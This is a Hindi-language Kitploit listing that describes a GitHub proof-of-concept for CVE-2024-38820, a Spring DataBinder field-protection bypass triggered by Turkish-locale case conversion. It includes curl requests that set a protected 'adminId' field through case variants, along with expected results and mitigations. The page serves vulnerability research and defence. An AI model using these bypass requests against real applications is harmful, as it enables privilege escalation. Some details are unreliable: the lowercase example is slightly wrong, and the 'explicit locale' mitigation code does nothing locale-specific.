Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2024-38820 — CVE-2024-38820 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो Spring Framework DataBinder के disallowedFields सुरक्षा के स्थानीय-निर्भर केस रूपांतरण बाईपास का प्रदर्शन करता है, स्वचालित परीक्षण और शमन मार्गदर्शन के साथ। | Kitploit
उपकरण/GitHubGitHub/kadamnayan/poc-cve-2024-38820
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

CVE-2024-38820 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो Spring Framework DataBinder के disallowedFields सुरक्षा के स्थानीय-निर्भर केस रूपांतरण बाईपास का प्रदर्शन करता है, स्वचालित परीक्षण और शमन मार्गदर्शन के साथ।

रिपॉजिटरी देखें
221 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-38820 प्रूफ ऑफ कॉन्सेप्ट

अवलोकन

यह प्रोजेक्ट CVE-2024-38820 को प्रदर्शित करता है, जो Spring Framework के DataBinder में एक कमजोरी है जो locale-निर्भर केस रूपांतरण समस्याओं के कारण disallowedFields सुरक्षा को बायपास करने की अनुमति देती है।

कमजोरी का विवरण

  • CVE पहचानकर्ता: CVE-2024-38820
  • प्रभावित घटक: Spring Framework DataBinder
  • मूल कारण: String.toLowerCase() का व्यवहार locale के अनुसार बदलता है
  • प्रभाव: फ़ील्ड सुरक्षा बायपास, संभावित विशेषाधिकार वृद्धि

समस्या

CVE-2022-22968 के लिए सुधार ने String.toLowerCase() का उपयोग करके disallowedFields पैटर्न को केस-असंवेदनशील बना दिया। हालांकि, इस विधि में locale-निर्भर अपवाद हैं:

  • तुर्की locale में: "ADMINID".toLowerCase() "adminıd" बन जाता है (बिना बिंदु वाले ı के साथ)
  • अंग्रेज़ी locale में: "ADMINID".toLowerCase() "adminid" बन जाता है

यह अंतर हमलावरों को विशिष्ट केस विविधताओं का उपयोग करके फ़ील्ड सुरक्षा को बायपास करने की अनुमति दे सकता है।

प्रोजेक्ट संरचना

src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

त्वरित आरंभ

1. बिल्ड और चलाएँ

# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

एप्लिकेशन http://localhost:8081 पर शुरू होगा

2. मैन्युअल परीक्षण

locale जानकारी देखने के लिए परीक्षण एंडपॉइंट पर जाएँ:

http://localhost:8081/test

अलग-अलग फ़ील्ड नाम विविधताएँ आज़माएँ:

# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. स्वचालित परीक्षण

व्यापक परीक्षण स्क्रिप्ट चलाएँ:

./test-cve-2024-38820.sh

अपेक्षित परिणाम

तुर्की Locale (tr_TR) के साथ

  • ✅ adminId=999 → अवरुद्ध (सामान्य केस)
  • 🚨 ADMINID=999 → बायपास (अपरकेस)
  • 🚨 AdminId=999 → बायपास (मिश्रित केस)
  • 🚨 ADMİNID=999 → बायपास (तुर्की İ)

अंग्रेज़ी Locale (en_US) के साथ

  • ✅ adminId=999 → अवरुद्ध (सामान्य केस)
  • ✅ ADMINID=999 → अवरुद्ध (सुरक्षित)
  • ✅ AdminId=999 → अवरुद्ध (सुरक्षित)

कॉन्फ़िगरेशन

Locale बदलना

src/main/resources/application.properties संपादित करें:

# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

JVM Locale सेट करना

आप JVM डिफ़ॉल्ट locale भी सेट कर सकते हैं:

mvn spring-boot:run -Duser.language=tr -Duser.country=TR

कमजोरी का विश्लेषण

कोड प्रवाह

  1. अनुरोध प्रसंस्करण: Spring HTTP अनुरोध को पैरामीटर के साथ प्राप्त करता है
  2. DataBinder सेटअप: @InitBinder disallowedFields("adminId") कॉन्फ़िगर करता है
  3. फ़ील्ड मिलान: Spring toLowerCase() के साथ केस-असंवेदनशील मिलान का उपयोग करता है
  4. Locale समस्या: तुर्की locale में, "ADMINID".toLowerCase() ≠ "adminid"
  5. बायपास: फ़ील्ड सुरक्षा विफल हो जाती है, adminId सेट हो जाता है

डीबग आउटपुट

एप्लिकेशन विस्तृत जानकारी लॉग करता है:

=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

प्रभावित संस्करण

  • Spring Framework: 5.3.x (5.3.40 से पहले), 6.0.x (6.0.24 से पहले), 6.1.x (6.1.13 से पहले)
  • Spring Boot: प्रभावित Spring Framework संस्करणों का उपयोग करने वाले 2.x और 3.x संस्करण

शमन

1. Spring Framework अपग्रेड करें

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. स्पष्ट Locale सेटिंग

Locale-जागरूक फ़ील्ड मिलान का उपयोग करें:

@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. कस्टम फ़ील्ड सत्यापन

कस्टम फ़ील्ड सत्यापन लागू करें जो locale-निर्भर संचालन पर निर्भर न करे।

संदर्भ

  • CVE-2024-38820 - NVD
  • Spring Framework Security Advisory
  • Related CVE-2022-22968

कानूनी सूचना

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। जिम्मेदारी से उपयोग करें और केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है।

टूल डाउनलोड करें